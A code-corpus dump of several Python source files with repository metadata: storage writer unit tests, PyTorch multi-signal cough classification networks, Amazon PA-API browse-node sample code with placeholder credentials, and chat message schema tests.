| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 8
|
c78211491e6e9de1068f87a031f650024705a4c8
| 7,784
|
py
|
Python
|
tests/test_column_files.py
|
woven-planet/wicker
|
0c00e3c6f5d3915c3aa06f96dcbb5cd5b2e8982f
|
[
"MIT"
] | 11
|
2022-01-20T17:08:11.000Z
|
2022-03-28T18:45:52.000Z
|
tests/test_column_files.py
|
woven-planet/wicker
|
0c00e3c6f5d3915c3aa06f96dcbb5cd5b2e8982f
|
[
"MIT"
] | null | null | null |
tests/test_column_files.py
|
woven-planet/wicker
|
0c00e3c6f5d3915c3aa06f96dcbb5cd5b2e8982f
|
[
"MIT"
] | null | null | null |
import os
import tempfile
import unittest
import uuid
from unittest.mock import MagicMock
from wicker.core.column_files import ColumnBytesFileLocationV1, ColumnBytesFileWriter
from wicker.core.definitions import DatasetID, DatasetPartition
from wicker.core.storage import S3PathFactory
from wicker.testing.storage import FakeS3DataStorage
FAKE_SHARD_ID = "fake_shard_id"
FAKE_DATA_PARTITION = DatasetPartition(dataset_id=DatasetID(name="name", version="0.0.1"), partition="partition")
FAKE_BYTES = b"foo"
FAKE_BYTES2 = b"0123456789"
FAKE_COL = "col0"
FAKE_COL2 = "col1"
class TestColumnBytesFileWriter(unittest.TestCase):
def test_write_empty(self) -> None:
mock_storage = MagicMock()
path_factory = S3PathFactory()
with ColumnBytesFileWriter(
storage=mock_storage,
s3_path_factory=path_factory,
):
pass
mock_storage.put_object_s3.assert_not_called()
def test_write_one_column_one_row(self) -> None:
path_factory = S3PathFactory()
mock_storage = MagicMock()
with ColumnBytesFileWriter(
storage=mock_storage,
s3_path_factory=path_factory,
) as ccb:
info = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(info.byte_offset, 0)
self.assertEqual(info.data_size, len(FAKE_BYTES))
mock_storage.put_file_s3.assert_called_once_with(
unittest.mock.ANY,
os.path.join(
path_factory.get_column_concatenated_bytes_files_path(),
str(info.file_id),
),
)
def test_write_one_column_multi_row(self) -> None:
path_factory = S3PathFactory()
mock_storage = MagicMock()
with ColumnBytesFileWriter(
storage=mock_storage,
s3_path_factory=path_factory,
) as ccb:
info = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(info.byte_offset, 0)
self.assertEqual(info.data_size, len(FAKE_BYTES))
next_info = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(next_info.byte_offset, len(FAKE_BYTES))
self.assertEqual(next_info.data_size, len(FAKE_BYTES))
mock_storage.put_file_s3.assert_called_once_with(
unittest.mock.ANY,
os.path.join(
path_factory.get_column_concatenated_bytes_files_path(),
str(info.file_id),
),
)
def test_write_multi_column_multi_row(self) -> None:
path_factory = S3PathFactory()
mock_storage = MagicMock()
with ColumnBytesFileWriter(
storage=mock_storage,
s3_path_factory=path_factory,
) as ccb:
info1 = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(info1.byte_offset, 0)
self.assertEqual(info1.data_size, len(FAKE_BYTES))
info1 = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(info1.byte_offset, len(FAKE_BYTES))
self.assertEqual(info1.data_size, len(FAKE_BYTES))
info2 = ccb.add(FAKE_COL2, FAKE_BYTES)
self.assertEqual(info2.byte_offset, 0)
self.assertEqual(info2.data_size, len(FAKE_BYTES))
info2 = ccb.add(FAKE_COL2, FAKE_BYTES)
self.assertEqual(info2.byte_offset, len(FAKE_BYTES))
self.assertEqual(info2.data_size, len(FAKE_BYTES))
info2 = ccb.add(FAKE_COL2, FAKE_BYTES)
self.assertEqual(info2.byte_offset, len(FAKE_BYTES) * 2)
self.assertEqual(info2.data_size, len(FAKE_BYTES))
mock_storage.put_file_s3.assert_any_call(
unittest.mock.ANY,
os.path.join(
path_factory.get_column_concatenated_bytes_files_path(),
str(info1.file_id),
),
)
mock_storage.put_file_s3.assert_any_call(
unittest.mock.ANY,
os.path.join(
path_factory.get_column_concatenated_bytes_files_path(),
str(info2.file_id),
),
)
def test_write_large_file(self) -> None:
with tempfile.TemporaryDirectory() as tmpdir:
path_factory = S3PathFactory()
storage = FakeS3DataStorage(tmpdir=tmpdir)
with ColumnBytesFileWriter(storage=storage, s3_path_factory=path_factory, target_file_size=10) as ccb:
info1 = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(info1.byte_offset, 0)
self.assertEqual(info1.data_size, len(FAKE_BYTES))
info1 = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(info1.byte_offset, len(FAKE_BYTES))
self.assertEqual(info1.data_size, len(FAKE_BYTES))
info1 = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(info1.byte_offset, len(FAKE_BYTES) * 2)
self.assertEqual(info1.data_size, len(FAKE_BYTES))
info1 = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(info1.byte_offset, len(FAKE_BYTES) * 3)
self.assertEqual(info1.data_size, len(FAKE_BYTES))
info2 = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(info2.byte_offset, 0)
self.assertEqual(info2.data_size, len(FAKE_BYTES))
self.assertNotEqual(info1.file_id, info2.file_id)
info1 = ccb.add(FAKE_COL2, FAKE_BYTES2)
self.assertEqual(info1.byte_offset, 0)
self.assertEqual(info1.data_size, len(FAKE_BYTES2))
info2 = ccb.add(FAKE_COL2, FAKE_BYTES2)
self.assertEqual(info2.byte_offset, 0)
self.assertEqual(info2.data_size, len(FAKE_BYTES2))
self.assertNotEqual(info1.file_id, info2.file_id)
info3 = ccb.add(FAKE_COL2, FAKE_BYTES2)
self.assertEqual(info3.byte_offset, 0)
self.assertEqual(info3.data_size, len(FAKE_BYTES2))
self.assertNotEqual(info2.file_id, info3.file_id)
def test_write_manyrows_file(self) -> None:
with tempfile.TemporaryDirectory() as tmpdir:
path_factory = S3PathFactory()
storage = FakeS3DataStorage(tmpdir=tmpdir)
with ColumnBytesFileWriter(
storage=storage, s3_path_factory=path_factory, target_file_rowgroup_size=1
) as ccb:
info1 = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(info1.byte_offset, 0)
self.assertEqual(info1.data_size, len(FAKE_BYTES))
info2 = ccb.add(FAKE_COL, FAKE_BYTES)
self.assertEqual(info2.byte_offset, 0)
self.assertEqual(info2.data_size, len(FAKE_BYTES))
self.assertNotEqual(info1.file_id, info2.file_id)
info1 = ccb.add(FAKE_COL2, FAKE_BYTES2)
self.assertEqual(info1.byte_offset, 0)
self.assertEqual(info1.data_size, len(FAKE_BYTES2))
info2 = ccb.add(FAKE_COL2, FAKE_BYTES2)
self.assertEqual(info2.byte_offset, 0)
self.assertEqual(info2.data_size, len(FAKE_BYTES2))
self.assertNotEqual(info1.file_id, info2.file_id)
info3 = ccb.add(FAKE_COL2, FAKE_BYTES2)
self.assertEqual(info3.byte_offset, 0)
self.assertEqual(info3.data_size, len(FAKE_BYTES2))
self.assertNotEqual(info2.file_id, info3.file_id)
class TestCCBInfo(unittest.TestCase):
def test_to_string(self) -> None:
ccb_info = ColumnBytesFileLocationV1(uuid.uuid4(), 100, 100)
ccb_info_parsed = ColumnBytesFileLocationV1.from_bytes(ccb_info.to_bytes())
self.assertEqual(ccb_info, ccb_info_parsed)
| 43.244444
| 114
| 0.632837
| 909
| 7,784
| 5.127613
| 0.108911
| 0.138382
| 0.05664
| 0.067582
| 0.811628
| 0.800043
| 0.797468
| 0.78953
| 0.78481
| 0.776014
| 0
| 0.027951
| 0.278392
| 7,784
| 179
| 115
| 43.486034
| 0.801852
| 0
| 0
| 0.71875
| 0
| 0
| 0.00668
| 0
| 0
| 0
| 0
| 0
| 0.3375
| 1
| 0.04375
| false
| 0.00625
| 0.05625
| 0
| 0.1125
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c7d99262678c915df38a599db3eef09f7be20bcf
| 9,211
|
py
|
Python
|
cac/networks/multi_signal.py
|
WadhwaniAI/cac-test-release
|
066c554a354f0043f8ac83c9d6421a8397b17ba5
|
[
"Apache-2.0"
] | 24
|
2021-05-13T13:34:27.000Z
|
2022-03-02T13:52:29.000Z
|
cac/networks/multi_signal.py
|
WadhwaniAI/cac-test-release
|
066c554a354f0043f8ac83c9d6421a8397b17ba5
|
[
"Apache-2.0"
] | 2
|
2021-07-09T08:21:31.000Z
|
2022-02-11T15:30:55.000Z
|
cac/networks/multi_signal.py
|
WadhwaniAI/cac-test-release
|
066c554a354f0043f8ac83c9d6421a8397b17ba5
|
[
"Apache-2.0"
] | 6
|
2021-06-10T07:47:48.000Z
|
2022-01-27T07:36:09.000Z
|
import numpy as np
import pandas as pd
import torch
from torch.utils.data import DataLoader
import torch.nn.functional as F
import torch.nn as nn
from cac.networks.backbones.resnet import resnet18
from cac.networks.backbones.tab_network import TabNet
# MLP(Context) + Resnet+FCLayers(Cough) [Merge at 128]
class NaiveCoughContextNetwork(nn.Module):
def __init__(self, input_dim_text = 11, dropout = 0.4, merge_type = 'sum'):
super(NaiveCoughContextNetwork, self).__init__()
self.merge_type = merge_type
assert merge_type in ['sum', 'max', 'min'], "Mention Merge Type out of the 3 (Max, Min, Sum)"
# cough model
self.resnet_cough = resnet18(in_channels=1, pretrained=True)
self.adaptiveavgpool_cough = nn.AdaptiveAvgPool2d((1, 1))
self.flatten_cough = nn.Flatten()
self.fc1_cough = nn.Linear(512, 256)
self.dropout1_cough = nn.Dropout(p=dropout)
self.relu1_cough = nn.ReLU()
self.fc2_cough = nn.Linear(256, 128)
self.dropout2_cough = nn.Dropout(p=dropout)
self.relu2_cough = nn.ReLU()
self.fc3_cough = nn.Linear(128, 2)
self.dropout3_cough = nn.Dropout(p=dropout)
# context MLP
self.linear1_context = nn.Linear(11, 128)
self.relu1_context = nn.ReLU()
self.linear2_context = nn.Linear(128, 128)
self.relu2_context = nn.ReLU()
def forward(self, signals, context_signal):
cough_signal = signals[0]
# Forward Pass over Cough Signal
cough_signal = self.adaptiveavgpool_cough(self.resnet_cough(cough_signal))
cough_signal = self.dropout1_cough(self.flatten_cough(cough_signal))
cough_signal = self.dropout2_cough(self.relu1_cough(self.fc1_cough(cough_signal)))
cough_signal = self.dropout3_cough(self.relu2_cough(self.fc2_cough(cough_signal)))
# Forward Pass over Context Signal
context_signal = self.relu1_context(self.linear1_context(context_signal))
context_signal = self.relu2_context(self.linear2_context(context_signal))
# Naive merge at 128 Level
if self.merge_type == 'sum':
cough_signal = torch.sum(torch.stack([cough_signal, context_signal], dim = -1), dim = 2)
elif self.merge_type == 'max':
cough_signal, _ = torch.max(torch.stack([cough_signal, context_signal], dim = -1), dim = 2)
elif self.merge_type == 'min':
cough_signal = torch.min(torch.stack([cough_signal, context_signal], dim = -1), dim = 2)
else:
raise AssertionError
cough_signal = self.fc3_cough(cough_signal)
return cough_signal
# Resnet+FCLayers(Cough) + Resnet+FCLayers(Voice) [Merge at 128]
class NaiveCoughVoiceNetwork(nn.Module):
def __init__(self, input_dim_text = 11, dropout = 0.4, merge_type = 'sum'):
super(NaiveCoughVoiceNetwork, self).__init__()
self.merge_type = merge_type
assert merge_type in ['sum', 'max', 'min'], "Mention Merge Type out of the 3 (Max, Min, Sum)"
# cough model
self.resnet_cough = resnet18(in_channels=1, pretrained=True)
self.adaptiveavgpool_cough = nn.AdaptiveAvgPool2d((1, 1))
self.flatten_cough = nn.Flatten()
self.fc1_cough = nn.Linear(512, 256)
self.dropout1_cough = nn.Dropout(p=dropout)
self.relu1_cough = nn.ReLU()
self.fc2_cough = nn.Linear(256, 128)
self.dropout2_cough = nn.Dropout(p=dropout)
self.relu2_cough = nn.ReLU()
self.fc3_cough = nn.Linear(128, 2)
self.dropout3_cough = nn.Dropout(p=dropout)
# voice model
self.resnet_voice = resnet18(in_channels=1, pretrained=True)
self.adaptiveavgpool_voice = nn.AdaptiveAvgPool2d((1, 1))
self.flatten_voice = nn.Flatten()
self.fc1_voice = nn.Linear(512, 256)
self.dropout1_voice = nn.Dropout(p=dropout)
self.relu1_voice = nn.ReLU()
self.fc2_voice = nn.Linear(256, 128)
self.dropout2_voice = nn.Dropout(p=dropout)
self.relu2_voice = nn.ReLU()
self.dropout3_voice = nn.Dropout(p=dropout)
def forward(self, signals, context_signal):
cough_signal = signals[0]
voice_signal = signals[1]
# Forward Pass over Cough Signal
cough_signal = self.adaptiveavgpool_cough(self.resnet_cough(cough_signal))
cough_signal = self.dropout1_cough(self.flatten_cough(cough_signal))
cough_signal = self.dropout2_cough(self.relu1_cough(self.fc1_cough(cough_signal)))
cough_signal = self.dropout3_cough(self.relu2_cough(self.fc2_cough(cough_signal)))
# Forward Pass over Voice Signal
voice_signal = self.adaptiveavgpool_voice(self.resnet_cough(voice_signal))
voice_signal = self.dropout1_voice(self.flatten_voice(voice_signal))
voice_signal = self.dropout2_voice(self.relu1_voice(self.fc1_voice(voice_signal)))
voice_signal = self.dropout3_voice(self.relu2_voice(self.fc2_voice(voice_signal)))
# Naive merge at 128 Level
if self.merge_type == 'sum':
cough_signal = torch.sum(torch.stack([cough_signal, voice_signal], dim = -1), dim = 2)
elif self.merge_type == 'max':
cough_signal, _ = torch.max(torch.stack([cough_signal, voice_signal], dim = -1), dim = 2)
elif self.merge_type == 'min':
cough_signal = torch.min(torch.stack([cough_signal, voice_signal], dim = -1), dim = 2)
else:
raise AssertionError
cough_signal = self.fc3_cough(cough_signal)
return cough_signal
# Resnet+FCLayers(Cough) + Resnet+FCLayers(Voice) + MLP(Context) [Merge at 128]
class NaiveCoughVoiceContextNetwork(nn.Module):
def __init__(self, input_dim_text = 11, dropout = 0.4, merge_type = 'sum'):
super(NaiveCoughVoiceContextNetwork, self).__init__()
self.merge_type = merge_type
assert merge_type in ['sum', 'max', 'min'], "Mention Merge Type out of the 3 (Max, Min, Sum)"
# cough model
self.resnet_cough = resnet18(in_channels=1, pretrained=True)
self.adaptiveavgpool_cough = nn.AdaptiveAvgPool2d((1, 1))
self.flatten_cough = nn.Flatten()
self.fc1_cough = nn.Linear(512, 256)
self.dropout1_cough = nn.Dropout(p=dropout)
self.relu1_cough = nn.ReLU()
self.fc2_cough = nn.Linear(256, 128)
self.dropout2_cough = nn.Dropout(p=dropout)
self.relu2_cough = nn.ReLU()
self.fc3_cough = nn.Linear(128, 2)
self.dropout3_cough = nn.Dropout(p=dropout)
# voice model
self.resnet_voice = resnet18(in_channels=1, pretrained=True)
self.adaptiveavgpool_voice = nn.AdaptiveAvgPool2d((1, 1))
self.flatten_voice = nn.Flatten()
self.fc1_voice = nn.Linear(512, 256)
self.dropout1_voice = nn.Dropout(p=dropout)
self.relu1_voice = nn.ReLU()
self.fc2_voice = nn.Linear(256, 128)
self.dropout2_voice = nn.Dropout(p=dropout)
self.relu2_voice = nn.ReLU()
self.dropout3_voice = nn.Dropout(p=dropout)
# context MLP
self.linear1_context = nn.Linear(11, 128)
self.relu1_context = nn.ReLU()
self.linear2_context = nn.Linear(128, 128)
self.relu2_context = nn.ReLU()
def forward(self, signals, context_signal):
cough_signal = signals[0]
voice_signal = signals[1]
# Forward Pass over Cough Signal
cough_signal = self.adaptiveavgpool_cough(self.resnet_cough(cough_signal))
cough_signal = self.dropout1_cough(self.flatten_cough(cough_signal))
cough_signal = self.dropout2_cough(self.relu1_cough(self.fc1_cough(cough_signal)))
cough_signal = self.dropout3_cough(self.relu2_cough(self.fc2_cough(cough_signal)))
# Forward Pass over Voice Signal
voice_signal = self.adaptiveavgpool_voice(self.resnet_cough(voice_signal))
voice_signal = self.dropout1_voice(self.flatten_voice(voice_signal))
voice_signal = self.dropout2_voice(self.relu1_voice(self.fc1_voice(voice_signal)))
voice_signal = self.dropout3_voice(self.relu2_voice(self.fc2_voice(voice_signal)))
# Forward Pass over Context Signal
context_signal = self.relu1_context(self.linear1_context(context_signal))
context_signal = self.relu2_context(self.linear2_context(context_signal))
# Naive merge at 128 Level
if self.merge_type == 'sum':
cough_signal = torch.sum(torch.stack([cough_signal, voice_signal, context_signal], dim = -1), dim = 2)
elif self.merge_type == 'max':
cough_signal, _ = torch.max(torch.stack([cough_signal, voice_signal, context_signal], dim = -1), dim = 2)
elif self.merge_type == 'min':
cough_signal = torch.min(torch.stack([cough_signal, voice_signal, context_signal], dim = -1), dim = 2)
else:
raise AssertionError
cough_signal = self.fc3_cough(cough_signal)
return cough_signal
| 44.713592
| 117
| 0.656172
| 1,186
| 9,211
| 4.862563
| 0.080101
| 0.108722
| 0.02601
| 0.044217
| 0.923184
| 0.923184
| 0.923184
| 0.923184
| 0.923184
| 0.923184
| 0
| 0.038992
| 0.237108
| 9,211
| 205
| 118
| 44.931707
| 0.781699
| 0.062208
| 0
| 0.842466
| 0
| 0
| 0.023677
| 0
| 0
| 0
| 0
| 0
| 0.041096
| 1
| 0.041096
| false
| 0
| 0.054795
| 0
| 0.136986
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1bfd50b96d996d1c0e2877cfca29fefd35407065
| 14,127
|
py
|
Python
|
sample_get_browse_nodes_api.py
|
Peekaboo0/paapi5-python
|
a591a63b2e48bbdf50e569031a63ffd6e29da9bd
|
[
"Apache-2.0"
] | null | null | null |
sample_get_browse_nodes_api.py
|
Peekaboo0/paapi5-python
|
a591a63b2e48bbdf50e569031a63ffd6e29da9bd
|
[
"Apache-2.0"
] | null | null | null |
sample_get_browse_nodes_api.py
|
Peekaboo0/paapi5-python
|
a591a63b2e48bbdf50e569031a63ffd6e29da9bd
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
A copy of the License is located at
http://www.apache.org/licenses/LICENSE-2.0
or in the "license" file accompanying this file. This file is distributed
on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
express or implied. See the License for the specific language governing
permissions and limitations under the License.
"""
"""
ProductAdvertisingAPI
https://webservices.amazon.com/paapi5/documentation/index.html
"""
"""
This sample code snippet is for ProductAdvertisingAPI 5.0's GetBrowseNodes API
For more details, refer:
https://webservices.amazon.com/paapi5/documentation/getbrowsenodes.html
"""
from paapi5_python_sdk.api.default_api import DefaultApi
from paapi5_python_sdk.models.get_browse_nodes_request import GetBrowseNodesRequest
from paapi5_python_sdk.models.get_browse_nodes_resource import GetBrowseNodesResource
from paapi5_python_sdk.models.partner_type import PartnerType
from paapi5_python_sdk.rest import ApiException
def parse_response(browse_nodes_response_list):
"""
The function parses Browse Nodes Response and creates a dict of BrowseNodeID to BrowseNode object
:param browse_nodes_response_list: List of BrowseNodes in GetBrowseNodes response
:return: Dict of BrowseNodeID to BrowseNode object
"""
mapped_response = {}
for browse_node in browse_nodes_response_list:
mapped_response[browse_node.id] = browse_node
return mapped_response
def get_browse_nodes():
""" Following are your credentials """
""" Please add your access key here """
access_key = "<YOUR ACCESS KEY>"
""" Please add your secret key here """
secret_key = "<YOUR SECRET KEY>"
""" Please add your partner tag (store/tracking id) here """
partner_tag = "<YOUR PARTNER TAG>"
""" PAAPI host and region to which you want to send request """
""" For more details refer: https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html#host-and-region"""
host = "webservices.amazon.com"
region = "us-east-1"
""" API declaration """
default_api = DefaultApi(
access_key=access_key, secret_key=secret_key, host=host, region=region
)
""" Request initialization"""
""" Specify browse_node id(s) """
browse_node_ids = ["3040", "0", "3045"]
""" Specify language of preference """
""" For more details, refer https://webservices.amazon.com/paapi5/documentation/locale-reference.html"""
languages_of_preference = ["es_US"]
""" Choose resources you want from GetBrowseNodesResource enum """
""" For more details, refer: https://webservices.amazon.com/paapi5/documentation/getbrowsenodes.html#resources-parameter """
get_browse_node_resources = [
GetBrowseNodesResource.ANCESTOR,
GetBrowseNodesResource.CHILDREN,
]
""" Forming request """
try:
get_browse_node_request = GetBrowseNodesRequest(
partner_tag=partner_tag,
partner_type=PartnerType.ASSOCIATES,
marketplace="www.amazon.com",
languages_of_preference=languages_of_preference,
browse_node_ids=browse_node_ids,
resources=get_browse_node_resources,
)
except ValueError as exception:
print("Error in forming GetBrowseNodesRequest: ", exception)
return
try:
""" Sending request """
response = default_api.get_browse_nodes(get_browse_node_request)
print("API called Successfully")
print("Complete Response:\n", response)
""" Parse response """
if response.browse_nodes_result is not None:
print("Printing all browse node information in BrowseNodesResult:")
response_list = parse_response(response.browse_nodes_result.browse_nodes)
for browse_node_id in browse_node_ids:
print(
"Printing information about the browse node with Id: ",
browse_node_id,
)
if browse_node_id in response_list:
browse_node = response_list[browse_node_id]
if browse_node is not None:
if browse_node.id is not None:
print("BrowseNodeId: ", browse_node.id)
if browse_node.display_name is not None:
print("DisplayName: ", browse_node.display_name)
if browse_node.context_free_name is not None:
print("ContextFreeName: ", browse_node.context_free_name)
else:
print("BrowseNode not found, check errors")
if response.errors is not None:
print("\nPrinting Errors:\nPrinting First Error Object from list of Errors")
print("Error code", response.errors[0].code)
print("Error message", response.errors[0].message)
except ApiException as exception:
print("Error calling PA-API 5.0!")
print("Status code:", exception.status)
print("Errors :", exception.body)
print("Request ID:", exception.headers["x-amzn-RequestId"])
except TypeError as exception:
print("TypeError :", exception)
except ValueError as exception:
print("ValueError :", exception)
except Exception as exception:
print("Exception :", exception)
def get_browse_nodes_with_http_info():
""" Following are your credentials """
""" Please add your access key here """
access_key = "<YOUR ACCESS KEY>"
""" Please add your secret key here """
secret_key = "<YOUR SECRET KEY>"
""" Please add your partner tag (store/tracking id) here """
partner_tag = "<YOUR PARTNER TAG>"
""" PAAPI host and region to which you want to send request """
""" For more details refer: https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html#host-and-region"""
host = "webservices.amazon.com"
region = "us-east-1"
""" API declaration """
default_api = DefaultApi(
access_key=access_key, secret_key=secret_key, host=host, region=region
)
""" Request initialization"""
""" Specify browse_node id(s) """
browse_node_ids = ["3040", "0", "3045"]
""" Specify language of preference """
""" For more details, refer https://webservices.amazon.com/paapi5/documentation/locale-reference.html"""
languages_of_preference = ["es_US"]
""" Choose resources you want from GetBrowseNodesResource enum """
""" For more details, refer: https://webservices.amazon.com/paapi5/documentation/getbrowsenodes.html#resources-parameter """
get_browse_node_resources = [
GetBrowseNodesResource.ANCESTOR,
GetBrowseNodesResource.CHILDREN,
]
""" Forming request """
try:
get_browse_node_request = GetBrowseNodesRequest(
partner_tag=partner_tag,
partner_type=PartnerType.ASSOCIATES,
marketplace="www.amazon.com",
languages_of_preference=languages_of_preference,
browse_node_ids=browse_node_ids,
resources=get_browse_node_resources,
)
except ValueError as exception:
print("Error in forming GetBrowseNodesRequest: ", exception)
return
try:
""" Sending request """
response_with_http_info = default_api.get_browse_nodes_with_http_info(
get_browse_node_request
)
""" Parse response """
if response_with_http_info is not None:
print("API called Successfully")
print("Complete Response Dump:", response_with_http_info)
print("HTTP Info:", response_with_http_info[2])
response = response_with_http_info[0]
if response.browse_nodes_result is not None:
print("Printing all browse node information in BrowseNodesResult:")
response_list = parse_response(
response.browse_nodes_result.browse_nodes
)
for browse_node_id in browse_node_ids:
print(
"Printing information about the browse node with Id: ",
browse_node_id,
)
if browse_node_id in response_list:
browse_node = response_list[browse_node_id]
if browse_node is not None:
if browse_node.id is not None:
print("BrowseNodeId: ", browse_node.id)
if browse_node.display_name is not None:
print("DisplayName: ", browse_node.display_name)
if browse_node.context_free_name is not None:
print(
"ContextFreeName: ", browse_node.context_free_name
)
else:
print("BrowseNode not found, check errors")
if response.errors is not None:
print(
"\nPrinting Errors:\nPrinting First Error Object from list of Errors"
)
print("Error code", response.errors[0].code)
print("Error message", response.errors[0].message)
except ApiException as exception:
print("Error calling PA-API 5.0!")
print("Status code:", exception.status)
print("Errors :", exception.body)
print("Request ID:", exception.headers["x-amzn-RequestId"])
except TypeError as exception:
print("TypeError :", exception)
except ValueError as exception:
print("ValueError :", exception)
except Exception as exception:
print("Exception :", exception)
def get_browse_nodes_async():
""" Following are your credentials """
""" Please add your access key here """
access_key = "<YOUR ACCESS KEY>"
""" Please add your secret key here """
secret_key = "<YOUR SECRET KEY>"
""" Please add your partner tag (store/tracking id) here """
partner_tag = "<YOUR PARTNER TAG>"
""" PAAPI host and region to which you want to send request """
""" For more details refer: https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html#host-and-region"""
host = "webservices.amazon.com"
region = "us-east-1"
""" API declaration """
default_api = DefaultApi(
access_key=access_key, secret_key=secret_key, host=host, region=region
)
""" Request initialization"""
""" Specify browse_node id(s) """
browse_node_ids = ["3040", "0", "3045"]
""" Specify language of preference """
""" For more details, refer https://webservices.amazon.com/paapi5/documentation/locale-reference.html"""
languages_of_preference = ["es_US"]
""" Choose resources you want from GetBrowseNodesResource enum """
""" For more details, refer: https://webservices.amazon.com/paapi5/documentation/getbrowsenodes.html#resources-parameter """
get_browse_node_resources = [
GetBrowseNodesResource.ANCESTOR,
GetBrowseNodesResource.CHILDREN,
]
""" Forming request """
try:
get_browse_node_request = GetBrowseNodesRequest(
partner_tag=partner_tag,
partner_type=PartnerType.ASSOCIATES,
marketplace="www.amazon.com",
languages_of_preference=languages_of_preference,
browse_node_ids=browse_node_ids,
resources=get_browse_node_resources,
)
except ValueError as exception:
print("Error in forming GetBrowseNodesRequest: ", exception)
return
try:
""" Sending request """
thread = default_api.get_browse_nodes(get_browse_node_request, async_req=True)
response = thread.get()
print("API called Successfully")
print("Complete Response:", response)
""" Parse response """
if response.browse_nodes_result is not None:
print("Printing all browse node information in BrowseNodesResult:")
response_list = parse_response(response.browse_nodes_result.browse_nodes)
for browse_node_id in browse_node_ids:
print(
"Printing information about the browse node with Id: ",
browse_node_id,
)
if browse_node_id in response_list:
browse_node = response_list[browse_node_id]
if browse_node is not None:
if browse_node.id is not None:
print("BrowseNodeId: ", browse_node.id)
if browse_node.display_name is not None:
print("DisplayName: ", browse_node.display_name)
if browse_node.context_free_name is not None:
print("ContextFreeName: ", browse_node.context_free_name)
else:
print("BrowseNode not found, check errors")
if response.errors is not None:
print("\nPrinting Errors:\nPrinting First Error Object from list of Errors")
print("Error code", response.errors[0].code)
print("Error message", response.errors[0].message)
except ApiException as exception:
print("Error calling PA-API 5.0!")
print("Status code:", exception.status)
print("Errors :", exception.body)
print("Request ID:", exception.headers["x-amzn-RequestId"])
except TypeError as exception:
print("TypeError :", exception)
except ValueError as exception:
print("ValueError :", exception)
except Exception as exception:
print("Exception :", exception)
get_browse_nodes()
# get_browse_nodes_with_http_info()
# get_browse_nodes_async()
| 38.181081
| 133
| 0.636016
| 1,571
| 14,127
| 5.533418
| 0.131763
| 0.082825
| 0.030369
| 0.025768
| 0.859772
| 0.854136
| 0.839411
| 0.823191
| 0.806166
| 0.796043
| 0
| 0.006909
| 0.272528
| 14,127
| 369
| 134
| 38.284553
| 0.838961
| 0.068097
| 0
| 0.793578
| 0
| 0
| 0.16816
| 0.01272
| 0
| 0
| 0
| 0
| 0
| 1
| 0.018349
| false
| 0
| 0.022936
| 0
| 0.059633
| 0.266055
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
403b8f984496dde62a780555fc40699daea0cf31
| 1,222
|
py
|
Python
|
homework8/tests/test_schemas.py
|
sakost/tinkoff_fintech
|
64b9d5a2a818b4db7c438b0dc53a8f31882f95ba
|
[
"MIT"
] | null | null | null |
homework8/tests/test_schemas.py
|
sakost/tinkoff_fintech
|
64b9d5a2a818b4db7c438b0dc53a8f31882f95ba
|
[
"MIT"
] | null | null | null |
homework8/tests/test_schemas.py
|
sakost/tinkoff_fintech
|
64b9d5a2a818b4db7c438b0dc53a8f31882f95ba
|
[
"MIT"
] | 2
|
2021-08-29T15:01:39.000Z
|
2022-02-23T18:48:21.000Z
|
from app import schemas
from app.utils import ReservedIdsEnum
def test_create_broadcast():
message = schemas.MessageModel.create_broadcast(
sender=schemas.UserModel(client_id=3),
destination=schemas.UserModel(client_id=4),
text='some text',
)
assert message.destination.client_id == ReservedIdsEnum.BROADCAST_ID.value
def test_create_service_message():
message = schemas.MessageModel.create_service_message(
sender=schemas.UserModel(client_id=3),
destination=schemas.UserModel(client_id=4),
text='some text',
)
assert message.sender.client_id == ReservedIdsEnum.SERVICE_MESSAGES_ID.value
def test_is_broadcast():
message = schemas.MessageModel.create_broadcast(
sender=schemas.UserModel(client_id=3),
destination=schemas.UserModel(client_id=ReservedIdsEnum.BROADCAST_ID.value),
text='some text',
)
assert message.is_broadcast()
def test_is_service():
message = schemas.MessageModel.create_service_message(
sender=schemas.UserModel(client_id=3),
destination=schemas.UserModel(client_id=ReservedIdsEnum.BROADCAST_ID.value),
text='some text',
)
assert message.is_service()
| 31.333333
| 84
| 0.729133
| 141
| 1,222
| 6.092199
| 0.184397
| 0.093132
| 0.204889
| 0.223516
| 0.771828
| 0.771828
| 0.726426
| 0.726426
| 0.726426
| 0.726426
| 0
| 0.005941
| 0.173486
| 1,222
| 38
